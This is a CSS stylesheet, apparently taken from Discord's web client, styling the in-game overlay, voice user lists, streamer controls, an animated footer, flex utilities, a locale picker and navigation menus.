.base-zsjlUl { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; width: 312px; background: var(--background-tertiary) !important; }

.widget-1O6tyl { overflow: hidden; border-radius: 5px !important; }

.container-pkXooo { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; margin-top: 2px; }

.title-2zTLTo { margin-right: 10px; margin-left: 2px; }

.sliderContainer-1ypX9f { width: 200px; padding-right: 10px; position: relative; top: -12px; }

.contained-1li2eZ { -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background-color: rgb(54, 57, 63); overflow: hidden; min-width: 0px; }

.contained-1li2eZ, .header-2yGCVu { display: flex; }

.header-2yGCVu { -webkit-box-flex: 0; flex: 0 0 auto; }

.headerDefault-1qHUFF { background-color: rgb(54, 57, 63); }

.activateContainer-2X6KOg { height: 68px; display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; }

.activateKeybind-1oKNW5 { padding: 10px 16px; border-radius: 5px; line-height: 20px; font-weight: 600; text-shadow: rgb(79, 84, 92) 0px 0px 1px, rgb(79, 84, 92) 1px 1px 0px; }

.inGame-2RplaV .headerDefault-1qHUFF { background-color: rgba(54, 57, 63, 0.2); }

.inGameActive-36BUM7 { pointer-events: auto; }

.inGameActive-36BUM7 .footerContent-2Hkx-f { visibility: visible; }

.inGameActive-36BUM7 .messages-3lF2UY { border-radius: 5px 5px 0px 0px; }

.headerPinned-93Uwgl { background-color: rgba(54, 57, 63, 0.3); }

.widget-Ap3cJh { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: auto; height: 100%; }

.widget-Ap3cJh::after { border: none; }

.widgetWrapper-1EaQdn, .widgetWrapperPinned-_8KLrR { }

.draggableStartArea-1UY-rN { cursor: move; }

.footer-2Ijhzu { height: auto; }

.typingWrapper-24QP4N { position: relative; display: flex; -webkit-box-align: center; align-items: center; white-space: nowrap; text-overflow: ellipsis; margin-right: -8px; margin-left: -16px; }

.typing-hkqjXx, .typingWrapper-24QP4N { height: 24px; overflow: hidden; }

.typing-hkqjXx { background: none; }

.messagesContainer-2i76Bw { position: relative; display: flex; -webkit-box-flex: 1; flex: 1 1 auto; min-height: 0px; }

.messagesContainer-2i76Bw.disableHoverStates-2pKqy8 { pointer-events: none; }

.background-opacity-low .isDragging-RjSza0 { box-shadow: rgba(255, 255, 255, 0.5) 0px 0px 2px inset; }

.theme-dark .pinned-3CXiuy:not(.locked-e70j-9) .footerContent-2Hkx-f, .theme-dark .pinned-3CXiuy:not(.locked-e70j-9) .messages-3lF2UY, .theme-dark .pinned-3CXiuy:not(.locked-e70j-9) .typing-hkqjXx { background-color: transparent; }

.theme-dark .pinned-3CXiuy:not(.locked-e70j-9) .footerContent-2Hkx-f, .theme-dark .pinned-3CXiuy:not(.locked-e70j-9) .messagesContainer-2i76Bw { background-color: rgba(54, 57, 63, 0.8); }

.theme-dark .scroller-3t2qeU::-webkit-scrollbar { width: 0px; height: 0px; }

.theme-dark .inGame-2RplaV .footerContentPinned-2M6JEM { display: inline-block; padding: 8px 16px; border-radius: 5px; position: absolute; top: 8px; text-shadow: rgb(114, 118, 125) 0px 1px 1px, rgb(114, 118, 125) 0px 1px 0px; font-weight: 500; }

.theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .messages-3lF2UY, .theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .messages-3lF2UY .scroller-3t2qeU { background-color: transparent; }

.theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .footerContent-2Hkx-f { background-color: transparent; padding: 0px; border-radius: 5px; }

.theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .draggableStartArea-1UY-rN { cursor: default; }

.theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .messagesContainer-2i76Bw:not(.looksLocked-1Mis4S) { border-radius: 0px 0px 5px 5px; }

.theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .footer-2Ijhzu::before, .theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .footerContent-2Hkx-f::before, .theme-dark .inGame-2RplaV:not(.inGameActive-36BUM7) .typing-hkqjXx::before { content: none; }

.theme-dark .inGameActive-36BUM7 .messagesContainer-2i76Bw { background-color: rgba(54, 57, 63, 0.4); }

.theme-dark .inGameActive-36BUM7 .messages-3lF2UY .scroller-3t2qeU::-webkit-scrollbar-thumb { background-color: rgb(54, 57, 63); border-color: transparent; }

.theme-dark .inGameActive-36BUM7 .messages-3lF2UY .scroller-3t2qeU::-webkit-scrollbar-track-piece { background-color: rgba(47, 49, 54, 0.3); border-color: transparent; }

.footer-2Ijhzu { -webkit-box-flex: 0; flex: 0 0 auto; position: relative; padding: 0px 16px; box-sizing: border-box; cursor: default; border-radius: 0px 0px 5px 5px; }

.footer-2Ijhzu, .footerContent-2Hkx-f { display: flex; }

.footerContent-2Hkx-f { background-color: rgb(54, 57, 63); -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding-bottom: 0px; }

.resizeIcon-2xSgbl { position: absolute; right: -4px; bottom: -4px; width: 24px; height: 24px; user-select: none; background-image: url("https://discord.com/assets/424e19296e4f30c0c8424f8407512b94.svg"); background-size: 16px; background-repeat: no-repeat; cursor: nwse-resize; z-index: 1; }

.headerContainer-1FBNKq { position: relative; z-index: 2; border-radius: 5px 5px 0px 0px; box-shadow: rgba(32, 34, 37, 0.7) 0px 1px 0px, rgba(0, 0, 0, 0.06) 0px 2px 0px; }

.background-opacity-high .headerContainer-1FBNKq { box-shadow: rgba(32, 34, 37, 0.4) 0px 1px 0px; }

.background-opacity-medium .headerContainer-1FBNKq { box-shadow: rgba(32, 34, 37, 0.2) 0px 1px 0px; }

.background-opacity-low .headerContainer-1FBNKq { box-shadow: rgba(32, 34, 37, 0.05) 0px 1px 0px; }

.opacityHeader-1wUrEK { height: 25px; -webkit-box-align: center; align-items: center; background-color: rgb(54, 57, 63); box-shadow: rgba(32, 34, 37, 0.7) 0px 1px 0px, rgba(0, 0, 0, 0.06) 0px 2px 0px; overflow: visible; cursor: default; }

.leaveCall-3Dgc1L { transform: rotate(180deg); }

.status-m0kzwG { margin-left: 4px; }

.dragIcon-29nDeZ { color: rgb(185, 187, 190); -webkit-box-flex: 0; flex: 0 0 auto; }

.wrapper-3K6RqB { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: stretch; align-items: stretch; overflow: hidden; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.controls-2NrGNJ { background: rgba(32, 34, 37, 0.85); color: rgb(255, 255, 255); font-size: 14px; font-weight: 500; padding: 16px 12px; display: flex; -webkit-box-align: center; align-items: center; flex-shrink: 0; border-radius: 0px 0px 5px; }

.controls-2NrGNJ.unpinned-1hnzhe { background: rgb(32, 34, 37); }

.content-3AhxhY { -webkit-box-flex: 1; flex: 1 1 0%; }

.strikethrough-jo9Zr4 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.icon-2v7mcp { width: 16px; height: 16px; padding: 2px 0px; margin-left: 3px; }

.icon-2v7mcp, .voiceIcon-1DSD_T { display: block; flex-shrink: 0; }

.voiceIcon-1DSD_T { color: var(--interactive-hover); padding: 2px; }

.voiceList-2_nc4r { padding: 4px 0px 4px 4px; }

.dragIcon-1tH5OP { margin-right: 4px; margin-left: -4px; }

.draggableStartArea-3BsD3u { cursor: move; }

.content-27MLsY { -webkit-box-flex: 1; flex: 1 1 0%; }

.speakerIcon-XtTKrG { margin-right: 3px; }

.interactive-2o5ouo:hover { opacity: 1; }

.username-2FGs2B { margin: 0px; font-size: 14px; line-height: 16px; font-weight: 500; padding: 2px 4px; max-width: 158px; }

.voiceUserWrapper-1eV-Yy .username-2FGs2B { -webkit-box-flex: 0; flex: 0 1 auto; }

.locked-3PIhFd { border-radius: 4px; }

.theme-dark .username-2FGs2B, .theme-light .username-2FGs2B { color: rgb(255, 255, 255); }

.theme-dark .locked-3PIhFd, .theme-light .locked-3PIhFd { background-color: rgba(0, 0, 0, 0.4); color: rgb(255, 255, 255); }

.faded-NBF6ah { opacity: 0.6; }

.draggingHeader-QORSVE { opacity: 0.4; }

.preview-2iPwI6 { opacity: 0.3; }

.hidden-1HFzIV { display: none; }

.priority-20RaiF { width: 10px; height: 10px; border-radius: 50%; background-color: rgb(114, 118, 125); margin-top: 3px; margin-left: 3px; }

.prioritySpeaking-2lsGo- { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.topMargin-3X2K9E { }

.bottomMargin-28bbBf { margin-bottom: 52px; }

.title-2njKBu { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.voiceUserList-13SpfF { width: 272px; }

.streamerControls-3DE0AK { background: rgba(32, 34, 37, 0.85); color: rgb(255, 255, 255); font-size: 14px; font-weight: 500; padding: 16px 12px; display: flex; -webkit-box-align: center; align-items: center; flex-shrink: 0; border-bottom: 1px solid rgb(54, 57, 63); }

.streamerControls-3DE0AK.hidden-1HFzIV { display: none; }

.streamerControls-3DE0AK.unpinned-2Bknns { background: rgb(32, 34, 37); }

.streamerContent-Y2-D91 { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-pack: justify; justify-content: space-between; }

.streamerInner-2PhE1d { display: flex; -webkit-box-flex: 1; flex: 1 1 0%; min-width: 0px; }

.gameIcon-3N9FYK { width: 30px; height: 30px; }

.streamerInfo-3bsfw3 { margin-left: 8px; overflow: hidden; }

.streaming-2y5EXU { font-size: 14px; line-height: 16px; color: rgb(246, 246, 247); }

.streamerIconWrapper-HkFRbT { width: 32px; height: 32px; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.streamerIcon-urajq1, .streamerIconWrapper-HkFRbT { display: flex; }

.streamerIcon-urajq1 { width: 20px; height: 20px; color: rgb(185, 187, 190); opacity: 0.9; }

.streamerIcon-urajq1:hover { color: rgb(255, 255, 255); }

.videoDev-1wRRjc { position: absolute; z-index: -1; }

.overlay-2zxlBT, .videoDev-1wRRjc { inset: 0px; }

.overlay-2zxlBT { position: fixed; cursor: auto; color: rgb(255, 255, 255); }

.overlayBackground-2Ja_LP { position: absolute; inset: 0px; transition: opacity 0.2s ease 0s; }

.overlayActive-1zNgFQ { background-color: hsla(215,calc(var(--saturation-factor, 1)*9.7%),34.3%,0.8); }

.overlayLocked-KYWBH4 { z-index: 1; }

.previewMode-1ZDwlY { opacity: 0; }

.closeContainer-2Bq3S5 { position: absolute; top: 26px; right: 26px; z-index: 1; }

.invalidContainer-3NuUTB { background-color: hsla(215,calc(var(--saturation-factor, 1)*9.7%),34.3%,0.8); position: absolute; inset: 0px; }

.inactiveContainer-3yv21J { text-align: center; width: 300px; background-color: rgb(32, 34, 37); border-radius: 5px; padding: 20px 20px 25px; font-size: 18px; line-height: 30px; }

.layoutLocked-1ID4te { position: absolute; top: 0px; left: 0px; pointer-events: none; }

.layoutLocked-1ID4te > * { pointer-events: auto; }

.layoutUnlocked-1DzZ9H { pointer-events: none; }

.layoutUnlocked-1DzZ9H > * { pointer-events: auto; }

.previewingInGameHeader-2cMdLJ { width: 33.3333vw; position: absolute; top: 0px; left: 33.3333vw; padding-top: 1rem; padding-bottom: 1rem; font-size: 1.6rem; font-weight: 500; letter-spacing: -0.1px; text-align: center; color: rgb(255, 255, 255); background-color: rgba(32, 34, 37, 0.9); border-radius: 0px 0px 10px 10px; transition: opacity 0.2s ease 0s; }

.card-3xjHRm { padding: 16px; background-color: var(--background-tertiary); }

.header-24YZ9P { display: grid; -webkit-box-align: center; align-items: center; grid-template-columns: 1fr auto; }

.list-7o_aNA { list-style: none; display: grid; gap: 4px; margin-top: 8px; }

.item-3TnxXQ { padding: 4px; }

[data-accessibility-violation] { filter: url("#violation-overlay"); }

.paypalLogo-39korQ { background-image: url("https://discord.com/assets/c2d2c156e14ebe83f4bb52c184f2a3a4.svg"); }

.sofortLogo-1FGscK { background-image: url("https://discord.com/assets/7c41ddc1348f9dbdb3fb1be4bf92f0e4.svg"); }

.message-1vcnav { font-size: 24px; text-align: center; }

.header-2EV7rG { -webkit-box-pack: justify; justify-content: space-between; }

.closeButton-OVYlFt:hover { cursor: pointer; }

.closeButton-OVYlFt:hover .closeIcon-21HVgw { color: var(--interactive-active); }

.closeIcon-21HVgw { color: var(--interactive-normal); }

.selectorHeader-3rB3y0 { padding-top: 16px; padding-bottom: 8px; }

.selectorButton-2es7-i { min-width: 36px; padding: 6px 0px; -webkit-box-flex: 1; flex: 1 1 auto; background: var(--background-secondary); }

.selectorButton-2es7-i:hover { background-color: var(--brand-experiment); }

.selectorButton-2es7-i:hover .selectorText-2LW2p6 { color: rgb(255, 255, 255); }

.selectorButtonSelected-Jj5-3m { background-color: var(--brand-experiment); }

.auditLogDisclosure-17B5kE { padding-top: 8px; padding-bottom: 16px; }

.header-3R-Dmb { -webkit-box-pack: justify; justify-content: space-between; }

.countdown-3sY1fg { color: var(--header-primary); font-weight: 600; }

.closeButton-22x9Ja:hover { cursor: pointer; }

.closeButton-22x9Ja:hover .closeIcon-fVZz6I { color: var(--interactive-active); }

.closeIcon-fVZz6I { color: var(--interactive-normal); }

.cta-2Bx6mG { padding-top: 8px; padding-bottom: 16px; }

.footer-QT_ny2 { position: relative; padding: 80px 160px 48px; font-weight: 400; overflow: hidden; }

.footerPrimary-1kaN2J { background: rgb(24, 25, 28); }

.footerBackgroundPrimary-2tI6Bv { position: absolute; bottom: 0px; left: 0px; width: 100%; }

.footerBackgroundAnimate-kcSJ2B { animation: 100s linear 0s infinite alternate none running footer-blob-animation-nrdnoa; }

.footerBackgroundPaused-2DAuxB { animation-play-state: paused; }

.footerBackgroundPlay-267jxe { animation-play-state: running; }

.footerContent-m9j1N9 { position: relative; max-width: 1600px; margin: 0px auto; }

.navigation-37Dyeg { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.navigationHeader-377XgL { color: rgb(255, 255, 255); font-size: 14px; margin-bottom: 13px; }

.route-1nrocE { color: rgba(255, 255, 255, 0.6); font-size: 14px; line-height: 20px; }

.route-1nrocE:hover { color: rgb(255, 255, 255); }

.navigationSection-2mJ8hb { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin: 0px 16px; }

.logo-OUMIQ6, .logoWrap-3ELjcM { width: 36px; height: 36px; }

.separator-2wR9wu { height: 1px; width: 100%; background: url("https://discord.com/assets/ffa0a8d74568beaa8ec72dd51951685c.svg"); opacity: 0.1; margin: 34px 0px; }

.joinDiscord-3CJq_G { display: flex; }

.stats-1wmuYV { -webkit-box-flex: 1; flex: 1 1 0%; }

.readyToJoin-2TuWOU { font-size: 26px; color: rgb(255, 255, 255); line-height: 34px; }

.joinOtherPlayers-2RuXJn { font-size: 14px; color: rgba(255, 255, 255, 0.6); font-weight: 500; margin-top: 4px; }

.button-3n5LOb { position: relative; padding: 16px; height: 15px; border-radius: 3px; font-size: 15px; line-height: 15px; cursor: pointer; }

.button-3n5LOb:hover { top: -1px; box-shadow: rgba(28, 30, 34, 0.4) 0px 4px 14px 0px; }

.button-3n5LOb:active { top: 1px; }

.buttonPrimary-hpQxMZ { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); color: rgb(255, 255, 255); }

.buttonPrimary-hpQxMZ:hover { color: rgb(255, 255, 255); }

.buttonBlurple-nsGs34 { background: rgb(255, 255, 255); color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.footerBackgroundBlurple-1Fd-X- { }

.footerBackgroundBlurple-1Fd-X- > path { fill: rgba(106, 127, 203, 0.6); }

.footerBlurple-2TmvBh { background: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

@media screen and (max-width: 848px) {
  .footer-QT_ny2 { padding-left: 8px; padding-right: 8px; }
  .footerBackgroundPrimary-2tI6Bv { display: none; animation: 0s ease 0s 1 normal none running none; }
  .navigation-37Dyeg { -webkit-box-align: start; align-items: flex-start; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-flow: row wrap; justify-content: space-around; }
  .navigationSection-2mJ8hb { text-align: center; margin: 16px 0px; width: 45%; }
  .joinDiscord-3CJq_G { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-align: center; }
  .logoWrap-3ELjcM { width: 45%; display: flex; margin: 16px 0px; }
  .logo-OUMIQ6 { margin: 0px auto; width: 50px; height: 50px; }
  .button-3n5LOb { background-color: rgb(255, 255, 255); margin-top: 16px; align-self: center; }
  .button-3n5LOb, .button-3n5LOb:hover { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }
}

@-webkit-keyframes footer-blob-animation-nrdnoa { 
  0% { d: path("M 140.881 194.26 C 257.601 129.329 342.94 119.85 418.01 203.155 C 493.08 286.459 545.729 70.9046 636.44 63.9593 C 727.151 57.014 768.998 139.67 858.803 119.432 C 948.608 99.1937 1071.91 -32.9977 1243.91 7.75227 C 1415.91 48.5023 1404.1 208.584 1508.27 178.709 C 1612.44 148.834 1633.73 79.9135 1711.64 98.8569 C 1776.29 114.578 1819.97 221.392 1889.37 185.808 C 2017.33 120.206 2004.02 336.77 2004.02 336.77 L 271.636 337 L -149.063 337 C -149.063 337 -245.85 175.638 -58.0633 228.867 C 33.8653 254.925 64.1723 236.934 140.881 194.26 Z"); }
  50% { d: path("M -60.1358 199.19 C -33.8675 -71.7288 170.194 11.9641 274.985 83.0973 C 379.776 154.231 409.072 161.653 521.549 124.46 C 634.026 87.2674 645.348 219.428 735.153 199.19 C 824.958 178.952 948.262 46.7601 1120.26 87.5101 C 1292.26 128.26 1309.9 321.348 1414.06 291.473 C 1518.23 261.598 1580.53 89.5639 1732.07 88.5665 C 1892.57 87.5101 1897.7 225.708 2049.59 199.19 C 2201.48 172.671 2002.95 336.795 2002.95 336.795 L 270.563 337.025 L -60.1358 337.025 C -60.1358 337.025 -469.887 134.917 -282.1 188.147 C -190.171 214.205 -65.9646 259.305 -60.1358 199.19 Z"); }
  100% { d: path("M -160.553 263.534 C -124.495 243.378 -18.614 181.081 56.4564 264.385 C 131.527 347.69 165.148 226.41 223.669 168.5 C 282.189 110.59 372.685 208.331 462.49 188.093 C 552.295 167.855 723.263 -40.1656 847.424 40.7523 C 971.586 121.67 1156.59 252.295 1300.4 228.959 C 1444.21 205.622 1478.91 106.222 1563.52 124.699 C 1655.8 144.853 1595.7 250.007 1832.42 206.74 C 2069.14 163.473 2002.95 336.795 2002.95 336.795 L 270.563 337.025 L -60.1358 337.025 C -60.1358 337.025 -495.795 256.513 -308.008 309.743 C -216.079 335.8 -208.74 290.47 -160.553 263.534 Z"); }
}

@keyframes footer-blob-animation-nrdnoa { 
  0% { d: path("M 140.881 194.26 C 257.601 129.329 342.94 119.85 418.01 203.155 C 493.08 286.459 545.729 70.9046 636.44 63.9593 C 727.151 57.014 768.998 139.67 858.803 119.432 C 948.608 99.1937 1071.91 -32.9977 1243.91 7.75227 C 1415.91 48.5023 1404.1 208.584 1508.27 178.709 C 1612.44 148.834 1633.73 79.9135 1711.64 98.8569 C 1776.29 114.578 1819.97 221.392 1889.37 185.808 C 2017.33 120.206 2004.02 336.77 2004.02 336.77 L 271.636 337 L -149.063 337 C -149.063 337 -245.85 175.638 -58.0633 228.867 C 33.8653 254.925 64.1723 236.934 140.881 194.26 Z"); }
  50% { d: path("M -60.1358 199.19 C -33.8675 -71.7288 170.194 11.9641 274.985 83.0973 C 379.776 154.231 409.072 161.653 521.549 124.46 C 634.026 87.2674 645.348 219.428 735.153 199.19 C 824.958 178.952 948.262 46.7601 1120.26 87.5101 C 1292.26 128.26 1309.9 321.348 1414.06 291.473 C 1518.23 261.598 1580.53 89.5639 1732.07 88.5665 C 1892.57 87.5101 1897.7 225.708 2049.59 199.19 C 2201.48 172.671 2002.95 336.795 2002.95 336.795 L 270.563 337.025 L -60.1358 337.025 C -60.1358 337.025 -469.887 134.917 -282.1 188.147 C -190.171 214.205 -65.9646 259.305 -60.1358 199.19 Z"); }
  100% { d: path("M -160.553 263.534 C -124.495 243.378 -18.614 181.081 56.4564 264.385 C 131.527 347.69 165.148 226.41 223.669 168.5 C 282.189 110.59 372.685 208.331 462.49 188.093 C 552.295 167.855 723.263 -40.1656 847.424 40.7523 C 971.586 121.67 1156.59 252.295 1300.4 228.959 C 1444.21 205.622 1478.91 106.222 1563.52 124.699 C 1655.8 144.853 1595.7 250.007 1832.42 206.74 C 2069.14 163.473 2002.95 336.795 2002.95 336.795 L 270.563 337.025 L -60.1358 337.025 C -60.1358 337.025 -495.795 256.513 -308.008 309.743 C -216.079 335.8 -208.74 290.47 -160.553 263.534 Z"); }
}

.flexVertical-3KTbKu { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.flexVertical-3KTbKu > .flexSpacer-jTPGuA { min-height: 1px; }

.flexHorizontal-25ocFD { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.flexHorizontal-25ocFD > .flexSpacer-jTPGuA { min-width: 1px; }

.flexHorizontalReverse-3guxK6 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; }

.flexHorizontalReverse-3guxK6 > .flexSpacer-jTPGuA { min-width: 1px; }

.flexSpacer-jTPGuA { -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; }

.flexCenter-2gbZKg { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.flexAlignStart-1JvKEB { -webkit-box-align: start; align-items: flex-start; }

.flexAlignEnd-EabtuR { -webkit-box-align: end; align-items: flex-end; }

.flexAlignCenter-1oCPgb { -webkit-box-align: center; align-items: center; }

.flexAlignStretch-oPdGG1 { -webkit-box-align: stretch; align-items: stretch; }

.flexJustifyStart-3vSvOK { -webkit-box-pack: start; justify-content: flex-start; }

.flexJustifyEnd-3oDVRt { -webkit-box-pack: end; justify-content: flex-end; }

.flexJustifyCenter-2OrcS0 { -webkit-box-pack: center; justify-content: center; }

.flexJustifyAround-2tbiZL { justify-content: space-around; }

.flexJustifyBetween-Cz9F15 { -webkit-box-pack: justify; justify-content: space-between; }

.flexNowrap-6WYW3y { flex-wrap: nowrap; }

.flexWrap-3RDM_m { flex-wrap: wrap; }

.flexWrapReverse-2I-1nG { flex-wrap: wrap-reverse; }

.flex-2jV3-O { display: flex; }

.flex-2jV3-O, .flex-2jV3-O .flexChild-264qQb { box-sizing: border-box; }

.flex-2jV3-O .flexChild-264qQb { -webkit-box-flex: 1; flex-grow: 1; }

.flex-2jV3-O.flexGutterSmall-BLRgN_ { margin-left: -10px; margin-right: -10px; }

.flex-2jV3-O.flexGutterSmall-BLRgN_ .flexChild-264qQb { padding: 0px 10px; }

.flex-2jV3-O.flexGutterLarge-32Sp-o { margin-left: -30px; margin-right: -30px; }

.flex-2jV3-O.flexGutterLarge-32Sp-o .flexChild-264qQb { padding: 0px 30px; }

.logo-2GtsgN { fill: rgb(255, 255, 255); }

.clyde-2dIHJc { width: 33px; }

.clyde-2dIHJc, .type-nLxGZY { height: 36px; }

.type-nLxGZY { width: 98px; }

@media screen and (max-width: 1024px) {
  .type-nLxGZY { display: none; }
}

.localePicker-2IaUS0 { position: relative; padding: 13px 0px; }

.opener-1gbJjE { opacity: 0.8; }

.opener-1gbJjE:hover, .openerOpen-1DyrSm { opacity: 1; }

.line-2KGlQY { width: 2px; height: 14px; border-radius: 1px; background-color: rgba(255, 255, 255, 0.2); margin-right: 12px; }

.icon-3EUOrr { margin-left: 5px; }

.arrowIcon-3wbenA, .localeIcon-1f5Ol7 { }

.hr-uKb6Q0 { opacity: 0.1; }

.localeList-3zQemi { position: absolute; top: 46px; right: -14px; background-color: rgb(255, 255, 255); border-radius: 4px; box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 3px; min-width: 170px; max-height: 320px; overflow: hidden auto; }

.localeListClosed-1uRysG { display: none; }

.localeListOpen-3iM-8N { display: block; }

.localeBase-268ej4 { margin: 4px; padding: 10px 5px; color: hsl(213,calc(var(--saturation-factor, 1)*9.9%),60.4%); opacity: 0.8; border-radius: 3px; cursor: pointer; transition: background-color 0.2s ease 0s, color 0.2s ease 0s; }

.localeBase-268ej4 a { color: inherit; }

.localeBase-268ej4:hover { opacity: 1; background-color: rgb(242, 242, 242); }

.locale-1y4ZA9 { opacity: 0.8; }

.localeCurrent-2f8AWH { opacity: 1; }

.localeImage-2sNjYq { width: 24px; height: 16px; margin-right: 8px; }

@media screen and (max-width: 848px) {
  .line-2KGlQY { display: none; }
  .localeIcon-1f5Ol7 { margin-left: 0px; }
  .opener-1gbJjE, .openerOpen-1DyrSm { -webkit-box-pack: center; justify-content: center; }
  .localePicker-2IaUS0 { cursor: pointer; }
  .localeList-3zQemi { left: 50%; right: auto; transform: translateX(-50%); }
  .locale-1y4ZA9 { padding: 10px; font-size: 14px; opacity: 0.8; display: flex; position: relative; }
  .select-2Zllkc { position: absolute; left: 10px; appearance: none; background-color: transparent; text-indent: -10000px; border: none; outline: none; cursor: pointer; height: calc(100% - 20px); width: calc(100% - 20px); }
  .localeImage-2sNjYq { width: 18px; height: 14px; margin-right: 8px; }
}

.divider-3ATkKt { opacity: 0.1; }

.moreList-11p_Uv { position: absolute; top: 30px; left: 0px; font-size: 13px; box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 3px; overflow: hidden; min-width: 122px; background: rgb(255, 255, 255); border-radius: 4px; padding: 2px 0px; transform-origin: 50% 0px; transition: opacity 0.125s ease 0s, transform 0.125s ease 0s, visibility 0.125s ease 0s, -webkit-transform 0.125s ease 0s; }

.moreListOpen-3SnG4r { opacity: 1; transform: scale(1) translateY(0px); visibility: visible; }

.moreListClosed-UDLj1G { opacity: 0; pointer-events: none; transform: scale(0.9) translateY(-10px); visibility: hidden; }

.moreListItem-lHqIN1 { background-color: rgb(255, 255, 255); font-weight: 400; display: block; }

.moreListItemInactive-3jZijZ { }

.moreListItemInactive-3jZijZ .moreListLink-184_S3 { color: hsl(213,calc(var(--saturation-factor, 1)*9.9%),60.4%); }

.moreListItemActive-cutQeo { }

.moreListItemActive-cutQeo .moreListLink-184_S3 { color: rgb(79, 84, 92); }

.moreListLink-184_S3 { display: block; padding: 2px 4px; }

.moreListLink-184_S3:focus-within .moreListLinkCopy-3teeWX, .moreListLink-184_S3:focus .moreListLinkCopy-3teeWX, .moreListLink-184_S3:hover .moreListLinkCopy-3teeWX { background-color: rgb(242, 242, 242); color: rgb(79, 84, 92); }

.moreListLinkCopy-3teeWX { border-radius: 3px; display: block; padding: 5px 10px; transition: background-color 0.2s ease 0s, color 0.2s ease 0s; }

@media screen and (max-width: 848px) {
  .moreList-11p_Uv { display: none; }
}

.mobileMenuItem-3m_xj3 { cursor: pointer; display: block; padding: 17px 10px; font-size: 15px; text-decoration: none; transition: opacity 0.2s ease 0s; text-align: center; opacity: 0.8; border-radius: 2px; border-top: 1px solid rgba(79, 84, 92, 0.4); }

.mobileMenuItem-3m_xj3:focus, .mobileMenuItem-3m_xj3:focus-within, .mobileMenuItem-3m_xj3:hover { opacity: 1; }

.mobileHeaderSubMenu-2LwbZZ { position: relative; margin: 0px; }

.mobileSubMenuOpen-3x1YsT { top: 0px; display: initial; }

.mobileSubMenuClosed-2yI6V7 { top: -500px; display: none; }

.subListItem-3rCjSn { display: block; font-size: 15px; text-decoration: none; transition: opacity 0.2s ease 0s; text-align: center; }

.subListItem-3rCjSn:focus + .subListItem-3rCjSn .subListItemLink-10i5Lc, .subListItem-3rCjSn:focus-within + .subListItem-3rCjSn .subListItemLink-10i5Lc, .subListItem-3rCjSn:hover + .subListItem-3rCjSn .subListItemLink-10i5Lc { border-top: 1px solid rgba(255, 255, 255, 0.06); }

.subListItemActive-3GACT- { }

.subListItemActive-3GACT- .subListItemLink-10i5Lc { color: rgb(255, 255, 255); }

.subListItemInactive-pcWNzW { }

.subListItemInactive-pcWNzW .subListItemLink-10i5Lc { color: rgb(220, 221, 222); }

.subListItemLink-10i5Lc { background-color: rgb(24, 25, 28); border-top: 1px solid rgba(255, 255, 255, 0.03); color: rgb(220, 221, 222); display: block; padding: 17px 10px; transition: background-color 0.2s ease 0s, border-color 0.2s ease 0s, color 0.2s ease 0s; }

.subListItemLink-10i5Lc:focus, .subListItemLink-10i5Lc:focus-within, .subListItemLink-10i5Lc:hover { background-color: rgb(32, 34, 37); color: rgb(246, 246, 247); }

.desktopSubMenuItem-1Ykcka { cursor: default; -webkit-font-smoothing: subpixel-antialiased; opacity: 0.8; position: relative; transition: opacity 0.125s ease 0s; will-change: opacity; }

.desktopSubMenuItem-1Ykcka:focus, .desktopSubMenuItem-1Ykcka:focus-within, .desktopSubMenuItem-1Ykcka:hover { opacity: 1; }

.desktopMenuMore-l0UOgd { color: rgb(255, 255, 255); text-decoration: none; font-weight: 400; transition: opacity 0.2s ease 0s; padding: 15px 10px; }

.iconArrow-1VY5Hd { margin-left: 5px; position: relative; top: -1px; }

.header-2Z0RC5 { box-sizing: border-box; color: rgb(255, 255, 255); font-size: 14px; font-weight: 400; height: 72px; padding: 8px 0px; position: relative; user-select: none; width: 100%; z-index: 56; }

.headerInner-3l0gre { margin: 0px auto; padding: 0px 30px; position: relative; height: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; max-width: 1600px; flex-wrap: wrap; }

.headerLogo-2dTiQd { -webkit-box-flex: 0; flex: 0 0 auto; position: relative; margin-right: 12px; margin-top: 4px; }

